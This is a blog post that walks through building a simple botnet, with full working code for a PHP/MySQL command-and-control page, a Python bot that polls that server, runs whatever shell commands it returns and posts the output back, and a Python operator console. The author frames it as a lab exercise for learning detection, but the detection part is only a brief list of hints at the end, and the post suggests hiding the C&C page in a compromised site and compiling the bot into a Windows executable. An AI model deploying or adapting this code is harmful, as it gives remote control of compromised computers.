Saturday, June 6, 2015

Create your own Botnet and Learn How to Detect its Activity in your Defenses (Updated v0.5)

With this post I want to provide information on how a botnet operates.  Then provide some code that can be used to simulate the botnet in action.  With the results then evaluate the defenses on how bot activity on a network could be detected.

Remember that this is a poor man's botnet and may not simulate some of the more sophisticated botnet's that currently are in operation.  There are security vulnerabilities in the code, do not use this in a production environment.

To begin there are multiple components to a botnet the first one I will start with is what is called a command and control server or often called a "C&C".  This is a server that is setup by the bot herder, or the person who is taking care of the botnet.  The term herder comes from the infected computers or the bots following him around.  The C&C server can also be a server that was compromised and being used for this activity.  All of the code found on this post can be downloaded from my google drive at the following link.

The server I setup was running apache, php5, and mysql.  In the code I am referencing the server by IP Address, but this could easily be done by referencing a DNS name.  The following snippet contains the SQL to create the mysql database:

create database command;
use database command;
CREATE TABLE `botInfo` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `machineID` varchar(40) DEFAULT NULL,
  `osType` varchar(20) DEFAULT NULL,
  `httpCommand` varchar(250) DEFAULT NULL,
  `httpResults` mediumblob,
  `executed` varchar(1) DEFAULT 'N',
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=9 DEFAULT CHARSET=latin1;

The following code is the PHP that is placed as a webpage on the apache server.  In the code I reference the page as index.php, but this could be injected into any page on the server or created under a directory as any filename imaginable.  In the below php code I have removed the opening and closing tags of <?php and ?> respectively.




 $mysqli = new mysqli("localhost","wordpress","supersecurepassword","command");
 if ($mysqli->connect_error) {
  die("Connect error $mysqli->connect_error");
 }
        if (isset($_GET["func"])) {
  $callingFunction=$_GET['func']; 
  if (isset($_GET["osName"])) $osName=$_GET['osName'];
  $machineID=$_GET['machineID'];
  if ($callingFunction == 'sync') {
   $stmt = $mysqli->stmt_init();
   $sqlFunc="SELECT id as Total FROM botInfo WHERE machineID=?";
   if ($stmt->prepare($sqlFunc)) {
    $stmt->bind_param("s", $machineID);
    $stmt->execute();
    $stmt->store_result();
    $rowCount = $stmt->num_rows;
   }
   if ($rowCount == 0) {
    if ($osName == 'nt') $httpCommand=base64_encode('dir');
    if ($osName == 'posix') $httpCommand=base64_encode('ls');
    $stmt = $mysqli->stmt_init();
    $sqlInsert="INSERT INTO botInfo (machineID, osType, httpCommand, executed) VALUES (?, ?, ?, 'N')";
    if ($stmt->prepare($sqlInsert)) {
     $stmt->bind_param("sss", $machineID, $osName, $httpCommand);
     $stmt->execute();
    }
   }
  }
  if ($callingFunction == 'do') {
   $stmt = $mysqli->stmt_init();
   $sqlFunc="SELECT httpCommand FROM botInfo WHERE machineID=? AND executed='N'";
   if ($stmt->prepare($sqlFunc)) {
    $stmt->bind_param("s", $machineID);
    $stmt->execute();
    $stmt->store_result();
    $rowCount = $stmt->num_rows;
    $stmt->bind_result($httpCommand);
    if ($rowCount > 0) {
            while ($stmt->fetch()) {
                echo "$httpCommand";
            } 
    }
    else {
     echo base64_encode("NOTHING");
    } 
   }
  }
 }
 else if (isset($_POST["machineID"])) {
  $machineID = $_POST['machineID'];
  $httpCommand = $_POST['command']; 
  $httpResults = $_POST['output'];
  $stmt = $mysqli->stmt_init();
  $sqlUpdate="UPDATE botInfo SET httpResults=?, executed='Y' WHERE machineID=? AND httpCommand=?";
  if ($stmt->prepare($sqlUpdate)) {
   $stmt->bind_param("sss", $httpResults, $machineID, $httpCommand);
   $stmt->execute();
  }
 }




Now that you have the server setup and ready, you need to connect a bot.  A bot is simply an infected computer or a compromised computer.  In this case it was a virtual machine I was running.  The below python code is designed to communicate to the C&C server and let it know it exists, ask for commands to execute, and then return the results.

Observe that the bot is requesting a web page which then returns the actions the bot should take.  This sometimes can be difficult to detect if you have over 50 users using an internet connection and they are frequently browsing the web.

The python code can also be made into a windows executable with utilizing a tool like pyinstaller.



#!/usr/bin/python

import sys
import requests
import socket
import os
import hashlib
import struct
import time
import subprocess
import base64

sleepTime=10 # The amount of seconds to sleep between web requests

# http://stackoverflow.com/questions/11735821/python-get-localhost-ip
if os.name != "nt":
    import fcntl
    def get_interface_ip(ifname):
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        return socket.inet_ntoa(fcntl.ioctl(s.fileno(), 0x8915, struct.pack('256s', ifname[:15]))[20:24])

def getMachineID():
    ip = socket.gethostbyname(socket.gethostname())
    hostName = socket.gethostbyname(socket.gethostname())
    if ip.startswith("127.") and os.name != "nt":
        interfaces = [
            "eth0",
            "eth1",
            "eth2",
            "wlan0",
            "wlan1",
            "wifi0",
            "ath0",
            "ath1",
            "ppp0",
            ]
        for ifname in interfaces:
            try:
                ip = get_interface_ip(ifname)
                break
            except IOError:
                pass 
    # Hash IP
    uniqID = ip + hostName
    hashedIP = hashlib.sha1(uniqID).hexdigest()
    return hashedIP

def syncRequest(mID, osN, wAddr):
 # http://stackoverflow.com/questions/645312/what-is-the-quickest-way-to-http-get-in-python
 url = wAddr + "?func=sync&machineID=" + mID + "&osName=" + osN
 r = requests.get(url)
 #print url
 #print r.content
 return r.status_code

def doRequest(mID, wAddr):
 url = wAddr + "?func=do&machineID=" + mID
 headers = {'Accept-encoding':'gzip'}
 r = requests.get(url, headers=headers)
 commandReturned = r.content.lstrip()
 commandReturned = base64.b64decode(commandReturned.rstrip())
 print commandReturned
 return commandReturned

def executeCommand(com):
 comExec = subprocess.Popen(str(com), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
 STDOUT, STDERR = comExec.communicate()
 if STDOUT:
  encodedOutput = base64.b64encode(STDOUT)
 else:
  encodedOutput = base64.b64encode("Invalid Command...")
 return encodedOutput

def postOutput(mID, comExec, outputC, wAddr):
 url = wAddr
 r = requests.post(url, data={'machineID':mID, 'command':comExec, 'output':outputC})
 return str(r.status_code) + " " + r.content

# -------------------- Main ---------------

def main():
 #websiteAddr="http://192.168.242.1/index.php" # This is the address and page that it calls back to
 if len(sys.argv) == 2:
  websiteAddr = sys.argv[1]
  #print websiteAddr
  machineID = getMachineID()  # Gathers the hostname and the IP Address and returns it as the machine ID
  osName = os.name
  statusCode = syncRequest(machineID, osName, websiteAddr)      # Sends an initial request to the database of the machine ID - Allows db to create entry if it does not exist
  while True:
   time.sleep(sleepTime) 
   if (statusCode == 200):
    command = doRequest(machineID, websiteAddr) 
    if command == "NOTHING":
     continue
    else:
     outputCommand = executeCommand(command)
     encodedCommand = base64.b64encode(command)
     uploadStatus = postOutput(machineID, encodedCommand, outputCommand, websiteAddr)
     #print uploadStatus.strip()
 else:
  print "Usage: ./script.py \"http://www.yourremoteserver.com/index.php\""
  print "The URL above has to be the location of where you placed your PHP"

if __name__ == "__main__":
 main()



The last component is the ability for the bot herder to control the botnet, see the results of commands that were executed, and then issue additional commands to the bots.  This component was also coded in python.  Though I am running the code on the same computer as the web server, this could be done from a remote location which is normally the case.



#!/usr/bin/python

import MySQLdb
import sys
import base64

db = MySQLdb.connect(host="127.0.0.1", user="wordpress", passwd="supersecurepassword", db="command")
cursor = db.cursor()

def sendCommand(mID, osT):
 print
 print "Send the following command to machineID: " + mID
 selection = raw_input("$ ")
 encodedSelection = base64.b64encode(selection)
 if len(selection) > 1:
  sql = "INSERT INTO botInfo (machineID, osType, httpCommand, executed) VALUES ('" + mID + "','" + osT + "','" + encodedSelection + "','N')"
  cursor.execute(sql)
  db.commit()
 main()

def controlBot(botID):
 while True:
  sql = "SELECT machineID, osType, httpCommand, httpResults, executed FROM botInfo WHERE id=" + botID
  cursor.execute(sql)
  db.commit()
  if (cursor.rowcount > 0):
   for row in cursor.fetchall():
    id = botID
    machineID = row[0]
    osType = row[1]
    httpCommand = base64.b64decode(row[2])
    encodedResults = row[3]
    if encodedResults:
     httpResults = base64.b64decode(encodedResults)
    else:
     httpResults = "Pending..."
    executed = row[3]
    print
    print "BotID: " + id + " MachineID: " + machineID
    print "Command: " + httpCommand
    print 
    print "Results:"
    print httpResults
    print
   print "I. Issue Command to Bot"
   print "R. Refresh"
   print "Q. Return to Main"
   selection = raw_input(id+"$ ")
   if (selection == 'I') | (selection == 'i'):
    sendCommand(machineID, osType)
   elif (selection == 'Q') | (selection == 'q'):
    main()
   else:
    continue
  else:
   print "Invalid numerical selection."
   break


def main():
 while True:
  print 
  print "Select the number preceding the botID or the following options:"
  sql = "SELECT id, machineID, httpCommand, executed FROM botInfo"
  cursor.execute(sql)
  db.commit()
  if (cursor.rowcount > 0):
   for row in cursor.fetchall():
    id = row[0]
    machineID = row[1]
    httpCommand = base64.b64decode(row[2])
    executed = row[3]
    if executed == 'Y':
     httpResultsExist="Y"
    else:
     httpResultsExist="N"
    print str(id) + ". BotID:" + machineID + " C:" + httpCommand + " R:" + httpResultsExist
  print
  print "R. Refresh"
  print "Q. Quit"
  selection = raw_input("$ ")
  if (selection == 'Q') | (selection == 'q'):
   sys.exit(0)
  elif (selection == 'R') | (selection == 'r'):
   continue
  else:
   controlBot(selection)

if __name__ == "__main__":
        main()



After you have put in-place all of these components, you can use tshark and other tools to identify this activity.  A few hints on detection:

1. Evaluate the user agent header
2. Evaluate the reputation of the URL or destination IP Address
3. Evaluate the URL that is being visited
4. Look at the GET and POST requests that are made and the responses received
5. Whitelist executables on computers
6. Monitor logs of the web servers to detect tampering of files
7. Monitor logs of workstations to detect interesting activity
and more and more and more...

Please provide any feedback that you may have.  If the code is broken let me know.  Sometimes placing it into blogger it makes subtle changes to it and I may not have noticed it.


No comments:

Post a Comment

Docker - Quick Notes and How To

For an ethical hacking class that I will be teaching coming up in the near future I wanted to identify a way where I could provide students ...